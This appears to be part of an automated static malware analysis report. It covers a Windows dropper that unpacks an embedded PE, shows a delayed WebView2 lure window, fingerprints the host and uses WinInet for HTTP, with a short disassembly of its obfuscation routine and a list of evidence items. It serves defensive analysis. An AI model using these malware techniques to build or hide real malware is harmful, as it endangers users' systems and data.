140009d1b83 f8 03CMP EAX,0x3
140009d1e7f 1cJG LAB_140009d3c
LAB_140009d20:
140009d208b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009d24d1 e8SHR EAX,0x1
140009d2635 8a 08 2d 88XOR EAX,0x882d088a
140009d2b89 44 24 20MOV dword ptr [RSP + local_98],EAX
140009d2fff 44 24 24INC dword ptr [RSP + local_94]
140009d338b 44 24 24MOV EAX,dword ptr [RSP + local_94]
140009d3783 f8 04CMP EAX,0x4
140009d3a7c e4JL LAB_140009d20
LAB_140009d3c:
140009d3c8b 05 d2 f2 0b 00MOV EAX,dword ptr [DAT_1400c9014]
140009d4203 44 24 20ADD EAX,dword ptr [RSP + local_98]
140009d4689 05 c8 f2 0b 00MOV dword ptr [DAT_1400c9014],EAX
140009d4cc7 44 24 24 00 00 00 00MOV dword ptr [RSP + local_94],0x0
140009d548b 44 24 24MOV EAX,dword ptr [RSP + local_94]
140009d5883 f8 02CMP EAX,0x2
140009d5b7f 1fJG LAB_140009d7c
140009d5d0f 1f 00NOP dword ptr [RAX]
LAB_140009d60:
140009d608b 44 24 20MOV EAX,dword ptr [RSP + local_98]
140009d64d1 e8SHR EAX,0x1
140009d6635 7b 6c 87 4bXOR EAX,0x4b876c7b
140009d6b89 44 24 20MOV dword ptr [RSP + local_98],EAX
140009d6fff 44 24 24INC dword ptr [RSP + local_94]
140009d738b 44 24 24MOV EAX,dword ptr [RSP + local_94]
140009d7783 f8 03CMP EAX,0x3
140009d7a7c e4JL LAB_140009d60
LAB_140009d7c:
140009d7c8b 05 8e f2 0b 00MOV EAX,dword ptr [DAT_1400c9010]
140009d8233 44 24 20XOR EAX,dword ptr [RSP + local_98]
140009d8689 05 84 f2 0b 00MOV dword ptr [DAT_1400c9010],EAX
140009d8cf7 44 24 20 63 6b 07 b2TEST dword ptr [RSP + local_98],0xb2076b63
140009d9474 10JZ LAB_140009da6
140009d9681 64 24 20 c2 06 a5 f3AND dword ptr [RSP + local_98],0xf3a506c2
140009d9e81 4c 24 20 49 83 01 ceOR dword ptr [RSP + local_98],0xce018349
LAB_140009da6:
140009da68b 44 24 40MOV EAX,dword ptr [RSP + local_78]
140009daa03 05 68 f2 0b 00ADD EAX,dword ptr [DAT_1400c9018]
140009db089 44 24 40MOV dword ptr [RSP + local_78],EAX
140009db48b 44 24 2cMOV EAX,dword ptr [RSP + local_8c]
140009db831 44 24 28XOR dword ptr [RSP + local_90],EAX
140009dbc8b 44 24 28MOV EAX,dword ptr [RSP + local_90]
140009dc048 81 c4 b0 00 00 00ADD RSP,0xb0
140009dc75ePOP RSI
140009dc8c3RET

Evidence 22

Every claim in this report rests on one of these items: what was examined, where, how (read from the file, decoded by the analysis, or reported by a tool), and what it shows. "Checked: not present" marks something the analysis looked for and did not find.

E1
read from the file·function

WinMain: extracts RCDATA 300, drops embedded PE to disk, creates WebView2 window, enters message loop

bytes sha256 274c7d8bdf32a3058ec2588740024bf2738317562fb900bba1945c2fe77df257
E2
read from the file·resource
RCDATA/300/1033

embedded PE resource, 164704 bytes, entropy 6.2, dropped to disk by WinMain

bytes sha256 a9a09232c25805323d4cfb3fc8f545a190a9c8a99c93262ea99d0b88df99ec90
E3
read from the file·function

HTTP request function: InternetCrackUrl, InternetConnect, HttpOpenRequest, HttpAddRequestHeaders, HttpSendRequest, HttpQueryInfo, InternetReadFile

bytes sha256 5032dc13fb4c90e36ba4bfaecd9c26b50b5569890a22266b8afa35cdfcacb411
E4
read from the file·function

InternetOpenW with 15s/30s timeouts for network initialization

bytes sha256 4f9929b06ee17d207ded9ba07083f5d8db0cd6b62c9f392968c6f5591f5f38c9
E5
read from the file·function

WebView2 COM initialization: sets background color, configures navigation and docking via COM vtable calls

bytes sha256 a707a3eedee73bb7f1d76179468424aa8daccdc6060eebfab89ee3d06ed573c7
E6
read from the file·function

ShellExecuteW handler: opens URLs from WebView2 navigation events

bytes sha256 3b8f2af6be25b94428a8799c330e7e66be7e94dd1c541bb182fb240a16e30d16
E7
read from the file·function

system fingerprinting: GetLocalTime, GetLocaleInfoA, GetSystemInfo, GetCurrentProcessId, GetTickCount, then obfuscated XOR/shift computation

bytes sha256 f669c1232d5ccf43de183d8cced2b4945300549837aa185d7a8f08e1af701098
E8
read from the file·function

CreateThread, ShowWindow, PostMessage, cursor management - UI and threading handler

bytes sha256 ad9e58c92bbf7f22eea653d657b86231c22451c425534be7b0fc1df8d30a005a
E9
read from the file·function

CRT startup with LOCK-based single-instance mutex, spins on Sleep(1000) if another instance holds the lock

bytes sha256 0930912e1dad559b8656d9e2bb153a71d426152cb5b3ad2b49549de529944dad
E10
read from the file·function

window procedure: handles WM_DESTROY (PostQuitMessage), WM_CLOSE and paint/size messages, dispatches to WebView2 vtable

bytes sha256 d1eba2999d631ff975359cdf71082543095dbca63f45bffb3a2f91c70e6f7775
E11
read from the file·function

SetTimer(9999, 1500ms) callback setup for delayed window reveal

bytes sha256 60841f87500d5dd5e85b7dfe0550711556ba969f360b9219f1ae6cb9981a5bf4
E12
read from the file·function

timer callback: KillTimer, ShowWindow, SetForegroundWindow - reveals the lure after delay

bytes sha256 0382389affa6fc2f9ef83a4adf207d2036849622becbc618b71ee72edcbfb6c0
E13
read from the file·file header
pe_header

x64 PE, mingw-linked, no version info, 2 TLS callbacks, ASLR+NX, timestamp 2026-09-22

E14
read from the file·import table
wininet.dll

10 WinInet imports for HTTP networking

E15
read from the file·function

file reader: extracts path parameter, opens with CreateFileW, reads with ReadFile

bytes sha256 8df08bce4463a45ad3061c528c1412e3a846e73441058e21d7a09d038cb27a77
E16
read from the file·function

file writer: extracts path parameter, creates with CreateFileW, writes with WriteFile

bytes sha256 b89a6c38ecf8ff15af68f7c3c76709f2696f53d1b0b2c59796df9ee008b51118
E17
read from the file·file range
0x400

entry stub at file offset 0x400 (RVA 0x1000), 30 bytes, calls main at offset +17

Bytes · 30 at 0x400
00000400  48 83 ec 28 48 8b 05 15 a0 09 00 c7 00 01 00 00  H..(H...........
00000410  00 e8 0a 00 00 00 90 90 90 48 83 c4 28 c3        .........H..(.
bytes sha256 3e704c7957b5b21919d29a22348676c2bf691a39d9798fd9e4b87a64f884ba95
E18
read from the file·function

COM navigation event handler: retrieves URL string from WebView2 interface, processes it for action dispatch

bytes sha256 ba991d8af56c0bd727d66aae43ce1cee9b822bec0ab677dff46f0002437fb3a9
E19
read from the file·function

JSON response builder with id/ok/result fields for WebView2-native IPC

bytes sha256 161452e872d6e8aff41ffa88afddc63b5a39773cded10ee6abc8595862ba92b8
E20
read from the file·function

JSON parser for incoming WebView2 messages, recursive descent

bytes sha256 72f1040b434a60629ca373181ebc01567e7241a70fc8273a4c0bf8ef30bd149a
E21
read from the file·analysis output
out/L0/ioc_candidates/index.json

9 of 11 URL IOCs and all 5 registry candidates at file offsets within embedded PE range 0xd70c0-0xff420 belong to unpacked file 1 not the original file

bytes sha256 d91ff94ddb191dfed73d4ce6716f67c2fc68d9c2f837183db44a1f71e701fb9e
E22
read from the file·function

HTTP request builder helper using string operations and global state

bytes sha256 67a0649b48521e063bd7351be4238cf749379976457500c5bd9b6543ffc40a7f

Run details

Run

model claude-opus-4-6effort mediumduration s 115 min 27 stokens 255,803tool uses 337

Produced with

skills
research-analysis
0cf735649e42
research-corpus
7defa8d3b7d1
research-ledger
7691f34d9cd1
tools
—
snapshot taken at
2026-10-01 20:38:11.542859+00

Other sections of the report

Report keys this renderer has no special layout for, shown as written.

created · 2026-10-28T22:36Z2026-10-28T22:36Z
reachability · 1 items
filegraphrootsinternalreachedunreachedunreached status
Originalnative_callgraph.dispatch.json25086921816possibly_reached
limits · 1 items
fileroots searchedlibrary filterspasses rununresolved in reached codenot claimed
Originalentrytls_callbackscapa_libraryfunction_id76Unpacked file 1 payload not extracted or analysed. WebView2 lure HTML/JS content not recovered from static analysis. Credential capture mechanism not confirmed. 12 FLOSS decoded strings not mapped to callers. 5 registry IOC candidates not triaged. URL roles not confirmed for 11 URL IOC candidates.
questions · 5 items
idquestionstatusevidenceunknowns
Q1what is the fileansweredE13, E17, E2none
Q2what does it dopartialE1, E3, E5, E6, E7, E8, E9, E19, E20U1U3U4U5
Q3configuration and IOCspartialE14, E21U2
Q4classificationansweredE1, E2, E3, E5, E7, E13, E19, E20none
Q5unknowns and limitsansweredE13, E21U1U2U3U4U5U6U7